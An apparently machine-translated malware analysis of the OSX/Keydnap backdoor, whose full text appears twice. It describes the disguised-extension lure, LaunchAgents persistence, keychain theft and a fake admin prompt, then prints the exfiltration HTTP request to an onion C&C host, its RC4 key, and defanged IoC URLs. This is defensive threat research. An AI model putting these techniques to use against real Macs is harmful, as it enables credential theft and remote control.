July 13, 2016 at 15:28OSX / Keydnap malware used to steal credentials on Apple OS X
Our analysts analyze many instances of malware for Apple OS X every day. Basically, they belong to the type of unwanted applications (Potentially Unwanted Applications, PUA), which specialize in embedding advertising in a working web browser.
Over the past few weeks, we have been researching one interesting instance of malware that specializes in stealing the so-called content. OS X keychains (keychain), and also acts as a backdoor, giving an attacker access to a compromised computer.
It is not entirely clear to us how the victims were initially infected with OSX / Keydnap. Most likely, malicious attachments of phishing e-mail messages or malicious content on illegitimate websites were used for this.
We know that the Keydnap bootloader component is distributed as a .zip file. The archive contains an executable file of the Mach-O format, with an extension similar to .txt or .jpg. However, in fact, the file extension contains a space character at the end of the name, which means launching the file on execution in the terminal, after double-clicking on it in the Finder shell.
Fig. Archive with the malicious Keydnap file and the malicious file itself.
Fig. A window with information about the bootloader file.
The mentioned archive file also contains the so-called. Resource fork(resource stream) that stores the icon of the executable file. The icon used is identical to that which OS X (Finder) typically uses to designate JPEG image files or text files. This method is used to increase the likelihood that the user will double-click on the file. After this happens, OS X will open a terminal window and execute a malicious payload.
Fig. A warning from the Safari web browser that appears to the user when the aforementioned malicious archive file is downloaded.
The Keydnap bootloader is quite simple; once launched, it performs the following actions on the system.
After the bootloader overwrites the bootloader executable with a bait document, it will still be in the archive. The bootloader does not provide itself with survivability in the system, unlike the backdoor component, which uses the LaunchAgents directory for this purpose.
We have discovered several variants of the bootloader executables. A list of its various samples can be found at the end of the material.
It is interesting to note that we observed fresh samples of the bootloader, which contained bait documents, which were screenshots of the botnet control panel or the numbers of the stolen credit card data. This suggests that Keydnap was intended for users of clandestine forums or for security-reservers. The files of these fresh samples contained the “build name” field (build number). In doing so, we observed three different names: elitef * ck, ccshop and transmission.
Fig. An example of a bait image.
Fig. An example of a bait image.
Fig. An example of a bait image.
All the backdoor sample files we observed were called icloudsyncd. The backdoor file contains a line with the version that it sends to the C&C server. We observed two versions of it: 1.3.1 in May 2016 and 1.3.5 in June.
The file of the bootloader mentioned is not packaged and distributed as is, but the backdoor is packaged using a modified version of UPX. At the same time, the difference from the original UPX is in two features. Signature "UPX!" in the header, UPX is replaced by “ASS7”, and the original code and sections with lines are encrypted using XOR with a value of 0x01. This XOR operation is applied to the contents of a file after it is unpacked and before control is transferred to the malicious code.
Fig. Differences between the packed version of the file when using the modified UPX and the original.
A special patch for UPX is available on the Github repository in the ESET section. After its application, the Keydnap backdoor file can be unpacked by the command of the original UPX packer - upx –d .
After its launch on the system, the backdoor copies the plist file to the / Library / LaunchAgents / directory if the user has root privileges or to the $ USER / Library / LaunchAgents / directory otherwise. This ensures the backdoor survives after rebooting. The Library / Application Support / com.apple.iCloud.sync.daemon directory is used to store the icloudsyncd executable. This directory will also store the identifier of the running backdoor process in the process.id file, as well as the build.id file with the contents of the "build name" parameter. Using administrator privileges, the malicious program can also change the owner of the icloudsyncd file to root: admin and create setuid and setgid parameters for it, which will mean its subsequent launch with root privileges.
Fig. Plist file for malware.
To mask the location of its malicious file, Keydnap replaces the argv [0] parameter with the line / usr / libexec / icloudsyncd –launchd netlogon.bundle . The following is an example output from the ps ax command on a compromised system.
$ ps ax
[...]
566 ?? Ss 0: 00.01 / usr / libexec / icloudsyncd -launchd netlogon.bundle
[...]
The result of the output of the command on the infected system.
The OSX / Keydnap backdoor is equipped with the functions of collecting confidential OS X keychain passwords and keys (keychains), as well as sending this data to a remote server. In fact, the author just took for his purposes an example of PoC, which is available on Github called Keychaindump. This code specializes in reading the memory of the securityd process and searches for the decryption key to access the user keychain. This process is well described in the following study . One of the reasons we think that the source code was taken directly from Github is the fact that the names of the functions in the source code and in the malware code are identical.
Fig. List of backdoor functions, the functions from Keychaindump are highlighted in green.
Keydnap uses the onion.to Tor2Web proxy service on top of HTTPS to communicate with the C&C server. We observed the use of two onion addresses in different instances of the backdoor.
The HTTP request URL always starts with / api / osx / and is used to perform the following actions:
The content of the HTTP POST request contains two fields: bot_id and data . The last field is encrypted using the RC4 key “u2RLhh +! LGd9p8! ZtuKcN” without quotes. When sending keychain contents to a remote server, the backdoor uses the keychain field instead of data .
The following is an HTTP POST request using which the backdoor sends the initial information to the server.
POST / api / osx / started HTTP / 1.1
Host: r2elajikcosf7zee.onion.to
Accept: * / *
Content-Length: 233
Content-Type: application / x-www-form-urlencoded
bot_id = 9a8965ba04e72909f36c8d16aa801794c6d905d045cBb0e0bbe0b4e0b0e4e0b4e0b0e4e0b4e4e0b4e4e0b4e4e0b4e4e4e0b4e4e0b4e4e0b4e4e0b4e4e0b4e4e0b4e4b4e4b4e4b4e0b4e4b4e4b4e0b4e4b4e4b4e4b4e0b4e0b4e0bb4b4e0bb1 2BQY% 3D
Below are the decoded data received by the backdoor from the managing C & C server.
> rc4decrypt (base64decode ("psX0DKYB0u ... 5TximyY + QY ="), "u2RLhh +! LGd9p8! ZtuKcN")
device_model = MacBookPro9,2
bot_version = 1.3.5
build_name = elitef * ck
os_version = 15.5.0
ip_address
has_root = 0
The bot_id value is a SHA-256 hash of the following values.
Most of the names performed by the backdoor operations speak for themselves. The initial command is used to send the following information to the controlling C&C server.
The response to the get_task bot command contains an integer value that indicates the type of command sent to the bot and optional arguments. A function called get_and_execute_tasks works with ten different types of commands, they are listed in the table below.
The last two teams shown in the table stand out among the others. A command with identifier 8 can be sent to the backdoor provided that it is not already running under the root account. After receiving this command, the backdoor will begin to count the number of user starts the processes in the system. When two new processes start in the system within two seconds, Keydnap will show the user a window asking for user credentials. This window is very similar to what the OS X user sees when the application asks for administrator rights. If the user enters the account information, the backdoor will work under the root account, and the contents of the keychain will be stolen.
Fig. A backdoor code that counts how many processes a user has started.
Fig. Fake window asking for administrator credentials.
We do not know how the authd_service executable is processed by command 9, since we did not observe the use of this command by the bot. Perhaps this command is used to organize a third level of attack on targets of interest to attackers.
Conclusion
We do not have enough information to say exactly how Keydnap was distributed. We also do not know how many users have been compromised by these malwares. Despite the fact that OS X has special security mechanisms in place to block malicious activity, phishing methods to deceive users can help attackers trick users by using a fake Mach-O executable file icon, which will lead to the launch of a malicious program on the system.
Indicators of Compromise (IoC)
The following are instances of the Keydnap bootloader that are detected by ESET antivirus products like OSX / TrojanDownloader.Keydnap.A.
Hash SHA-1: 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148
File name: "info_list.txt"
VirusTotal first published date: 2016-05-09
Backdoor component download URL: hxxp: //dev.aneros.com/media/icloudsyncd
Fake image topic or URL: job interview questions
SHA-1 hash: 78ba1152ef3883e63f10c3a85cbf00f2bb3056b
File name: “screenshot_2016-06-28-01.jpg”
Date of first publication on VirusTotal: 2016-06-28
Backdoor component download URL: hxxp: //freesafesoft.com/icloudsyncd
Fake image theme or URL: screenshot BlackHat-TDS control panels
SHA-1 hash: 773a82343367b3d09965f6f09cc9887e7f8f01bf
File name: “screenshot.jpg”
Date of first publication on VirusTotal: 2016-05-07
Backdoor component download url: hxxp: //dev.aneros.com/media/icloudsyncd
Fake image theme or url: Firefox web browser screenshots 20
SHA-1 hash: dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c
File name: “CVdetails
first VirusTotal publications: 2016-05-03
Backdoor component download url: hxxp: //lovefromscratch.ca/wp-admin/css/icloudsyncd
Fake image theme or url: hxxp: //lovefromscratch.ca/wp-admin /CVdetails.doc
SHA-1 hash: 2739170ed195ff1b9f00c44502a21b5613d08a58
File name: “CVdetails.doc”
Date of first publication on VirusTotal: 2016-05-03
Backdoor component download URL: hxxp: //lovefromscratch.ca/wss-admin icloudsyncd
Fake Image Subject or URL: hxxp: //lovefromscratch.ca/wp-admin/CVdetails.doc
SHA-1 Hash: e9d4523d9116b3190f2068b1be10229e96f21729
File Name: “logo.jpg”
Date of first publication on VirusTotal: 2016-06-02
URL backdoor component download address: hxxp: //dev.aneros.com/media/icloudsyncd
Fake image theme or URL: sanelite icon
SHA-1 hash: 7472102922f91a78268430510eced1059eef1770
File name: “screenshot_9324 2.jpg”
Date of first publication on VirusTotal: 2016 -06-28 Backdoor
component download URL: hxxp: //freesafesoft.com/icloudsyncd
Fake image theme or URL: botnet control panel screenshot
Ниже представлена информация об экземплярах компонента бэкдора Keydnap.
Хэш SHA-1: a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://g5wcesdfjzne7255.onion.to
Версия бэкдора: 1.3.1
Хэш SHA-1: abf99129e0682d2fa40c30a1a1ad9e0c701e14a4
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://r2elajikcosf7zee.onion.to
Версия бэкдора: 1.3.5
Over the past few weeks, we have been researching one interesting instance of malware that specializes in stealing the so-called content. OS X keychains (keychain), and also acts as a backdoor, giving an attacker access to a compromised computer.
It is not entirely clear to us how the victims were initially infected with OSX / Keydnap. Most likely, malicious attachments of phishing e-mail messages or malicious content on illegitimate websites were used for this.
We know that the Keydnap bootloader component is distributed as a .zip file. The archive contains an executable file of the Mach-O format, with an extension similar to .txt or .jpg. However, in fact, the file extension contains a space character at the end of the name, which means launching the file on execution in the terminal, after double-clicking on it in the Finder shell.
Fig. Archive with the malicious Keydnap file and the malicious file itself.
Fig. A window with information about the bootloader file.
The mentioned archive file also contains the so-called. Resource fork(resource stream) that stores the icon of the executable file. The icon used is identical to that which OS X (Finder) typically uses to designate JPEG image files or text files. This method is used to increase the likelihood that the user will double-click on the file. After this happens, OS X will open a terminal window and execute a malicious payload.
Fig. A warning from the Safari web browser that appears to the user when the aforementioned malicious archive file is downloaded.
The Keydnap bootloader is quite simple; once launched, it performs the following actions on the system.
- Loads and executes the backdoor component in the system.
- Overwrites the contents of the bootloader file with a special decoy document, or overwrites it with the contents of another file that is encoded using base64. This other file is either embedded in the bootloader itself or downloaded from the Internet.
- Opens a fake document.
- Closes the terminal window that was open.
After the bootloader overwrites the bootloader executable with a bait document, it will still be in the archive. The bootloader does not provide itself with survivability in the system, unlike the backdoor component, which uses the LaunchAgents directory for this purpose.
We have discovered several variants of the bootloader executables. A list of its various samples can be found at the end of the material.
It is interesting to note that we observed fresh samples of the bootloader, which contained bait documents, which were screenshots of the botnet control panel or the numbers of the stolen credit card data. This suggests that Keydnap was intended for users of clandestine forums or for security-reservers. The files of these fresh samples contained the “build name” field (build number). In doing so, we observed three different names: elitef * ck, ccshop and transmission.
Fig. An example of a bait image.
Fig. An example of a bait image.
Fig. An example of a bait image.
All the backdoor sample files we observed were called icloudsyncd. The backdoor file contains a line with the version that it sends to the C&C server. We observed two versions of it: 1.3.1 in May 2016 and 1.3.5 in June.
The file of the bootloader mentioned is not packaged and distributed as is, but the backdoor is packaged using a modified version of UPX. At the same time, the difference from the original UPX is in two features. Signature "UPX!" in the header, UPX is replaced by “ASS7”, and the original code and sections with lines are encrypted using XOR with a value of 0x01. This XOR operation is applied to the contents of a file after it is unpacked and before control is transferred to the malicious code.
Fig. Differences between the packed version of the file when using the modified UPX and the original.
A special patch for UPX is available on the Github repository in the ESET section. After its application, the Keydnap backdoor file can be unpacked by the command of the original UPX packer - upx –d .
After its launch on the system, the backdoor copies the plist file to the / Library / LaunchAgents / directory if the user has root privileges or to the $ USER / Library / LaunchAgents / directory otherwise. This ensures the backdoor survives after rebooting. The Library / Application Support / com.apple.iCloud.sync.daemon directory is used to store the icloudsyncd executable. This directory will also store the identifier of the running backdoor process in the process.id file, as well as the build.id file with the contents of the "build name" parameter. Using administrator privileges, the malicious program can also change the owner of the icloudsyncd file to root: admin and create setuid and setgid parameters for it, which will mean its subsequent launch with root privileges.
Fig. Plist file for malware.
To mask the location of its malicious file, Keydnap replaces the argv [0] parameter with the line / usr / libexec / icloudsyncd –launchd netlogon.bundle . The following is an example output from the ps ax command on a compromised system.
$ ps ax
[...]
566 ?? Ss 0: 00.01 / usr / libexec / icloudsyncd -launchd netlogon.bundle
[...]
The result of the output of the command on the infected system.
The OSX / Keydnap backdoor is equipped with the functions of collecting confidential OS X keychain passwords and keys (keychains), as well as sending this data to a remote server. In fact, the author just took for his purposes an example of PoC, which is available on Github called Keychaindump. This code specializes in reading the memory of the securityd process and searches for the decryption key to access the user keychain. This process is well described in the following study . One of the reasons we think that the source code was taken directly from Github is the fact that the names of the functions in the source code and in the malware code are identical.
Fig. List of backdoor functions, the functions from Keychaindump are highlighted in green.
Keydnap uses the onion.to Tor2Web proxy service on top of HTTPS to communicate with the C&C server. We observed the use of two onion addresses in different instances of the backdoor.
- g5wcesdfjzne7255.onion (not available)
- r2elajikcosf7zee.onion (available at the time of writing)
The HTTP request URL always starts with / api / osx / and is used to perform the following actions:
- / api / osx / started to send a report on the successful launch of the bot;
- / api / osx / keychain to send keychain content data;
- / api / osx / get_task? bot_id = {botid} & version = {version} to request a task;
- / api / osx / cmd_executed to send a report about the command that was executed;
- / api / osx / task_complete? bot_id = {botid} & task_id = {taskid} to send the task completion status.
The content of the HTTP POST request contains two fields: bot_id and data . The last field is encrypted using the RC4 key “u2RLhh +! LGd9p8! ZtuKcN” without quotes. When sending keychain contents to a remote server, the backdoor uses the keychain field instead of data .
The following is an HTTP POST request using which the backdoor sends the initial information to the server.
POST / api / osx / started HTTP / 1.1
Host: r2elajikcosf7zee.onion.to
Accept: * / *
Content-Length: 233
Content-Type: application / x-www-form-urlencoded
bot_id = 9a8965ba04e72909f36c8d16aa801794c6d905d045cBb0e0bbe0b4e0b0e4e0b4e0b0e4e0b4e4e0b4e4e0b4e4e0b4e4e4e0b4e4e0b4e4e0b4e4e0b4e4e0b4e4e0b4e4b4e4b4e4b4e0b4e4b4e4b4e0b4e4b4e4b4e4b4e0b4e0b4e0bb4b4e0bb1 2BQY% 3D
Below are the decoded data received by the backdoor from the managing C & C server.
> rc4decrypt (base64decode ("psX0DKYB0u ... 5TximyY + QY ="), "u2RLhh +! LGd9p8! ZtuKcN")
device_model = MacBookPro9,2
bot_version = 1.3.5
build_name = elitef * ck
os_version = 15.5.0
ip_address
has_root = 0
The bot_id value is a SHA-256 hash of the following values.
- Hardware UUID (IOPlatformUUID).
- System Serial Number (IOPlatformSerialNumber).
- Mac Model Identifier (e.g. MacBookPro9,2)
Most of the names performed by the backdoor operations speak for themselves. The initial command is used to send the following information to the controlling C&C server.
- device_model: device model identifier;
- bot_version: Keydnap version;
- build_name: value of the “build number” field of the bootloader;
- os_version: OS X or macOS kernel version
- ip_address: the external IP address of the computer that was obtained using ipify.org;
- has_root: the field is set to 1 if the backdoor is being executed under the root account and 0 otherwise.
The response to the get_task bot command contains an integer value that indicates the type of command sent to the bot and optional arguments. A function called get_and_execute_tasks works with ten different types of commands, they are listed in the table below.
The last two teams shown in the table stand out among the others. A command with identifier 8 can be sent to the backdoor provided that it is not already running under the root account. After receiving this command, the backdoor will begin to count the number of user starts the processes in the system. When two new processes start in the system within two seconds, Keydnap will show the user a window asking for user credentials. This window is very similar to what the OS X user sees when the application asks for administrator rights. If the user enters the account information, the backdoor will work under the root account, and the contents of the keychain will be stolen.
Fig. A backdoor code that counts how many processes a user has started.
Fig. Fake window asking for administrator credentials.
We do not know how the authd_service executable is processed by command 9, since we did not observe the use of this command by the bot. Perhaps this command is used to organize a third level of attack on targets of interest to attackers.
Conclusion
We do not have enough information to say exactly how Keydnap was distributed. We also do not know how many users have been compromised by these malwares. Despite the fact that OS X has special security mechanisms in place to block malicious activity, phishing methods to deceive users can help attackers trick users by using a fake Mach-O executable file icon, which will lead to the launch of a malicious program on the system.
Indicators of Compromise (IoC)
The following are instances of the Keydnap bootloader that are detected by ESET antivirus products like OSX / TrojanDownloader.Keydnap.A.
Hash SHA-1: 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148
File name: "info_list.txt"
VirusTotal first published date: 2016-05-09
Backdoor component download URL: hxxp: //dev.aneros.com/media/icloudsyncd
Fake image topic or URL: job interview questions
SHA-1 hash: 78ba1152ef3883e63f10c3a85cbf00f2bb3056b
File name: “screenshot_2016-06-28-01.jpg”
Date of first publication on VirusTotal: 2016-06-28
Backdoor component download URL: hxxp: //freesafesoft.com/icloudsyncd
Fake image theme or URL: screenshot BlackHat-TDS control panels
SHA-1 hash: 773a82343367b3d09965f6f09cc9887e7f8f01bf
File name: “screenshot.jpg”
Date of first publication on VirusTotal: 2016-05-07
Backdoor component download url: hxxp: //dev.aneros.com/media/icloudsyncd
Fake image theme or url: Firefox web browser screenshots 20
SHA-1 hash: dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c
File name: “CVdetails
first VirusTotal publications: 2016-05-03
Backdoor component download url: hxxp: //lovefromscratch.ca/wp-admin/css/icloudsyncd
Fake image theme or url: hxxp: //lovefromscratch.ca/wp-admin /CVdetails.doc
SHA-1 hash: 2739170ed195ff1b9f00c44502a21b5613d08a58
File name: “CVdetails.doc”
Date of first publication on VirusTotal: 2016-05-03
Backdoor component download URL: hxxp: //lovefromscratch.ca/wss-admin icloudsyncd
Fake Image Subject or URL: hxxp: //lovefromscratch.ca/wp-admin/CVdetails.doc
SHA-1 Hash: e9d4523d9116b3190f2068b1be10229e96f21729
File Name: “logo.jpg”
Date of first publication on VirusTotal: 2016-06-02
URL backdoor component download address: hxxp: //dev.aneros.com/media/icloudsyncd
Fake image theme or URL: sanelite icon
SHA-1 hash: 7472102922f91a78268430510eced1059eef1770
File name: “screenshot_9324 2.jpg”
Date of first publication on VirusTotal: 2016 -06-28 Backdoor
component download URL: hxxp: //freesafesoft.com/icloudsyncd
Fake image theme or URL: botnet control panel screenshot
Ниже представлена информация об экземплярах компонента бэкдора Keydnap.
Хэш SHA-1: a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://g5wcesdfjzne7255.onion.to
Версия бэкдора: 1.3.1
Хэш SHA-1: abf99129e0682d2fa40c30a1a1ad9e0c701e14a4
Название обнаружения ESET: OSX/Keydnap.A
URL-адрес управляющего C&C-сервера: hxxps://r2elajikcosf7zee.onion.to
Версия бэкдора: 1.3.5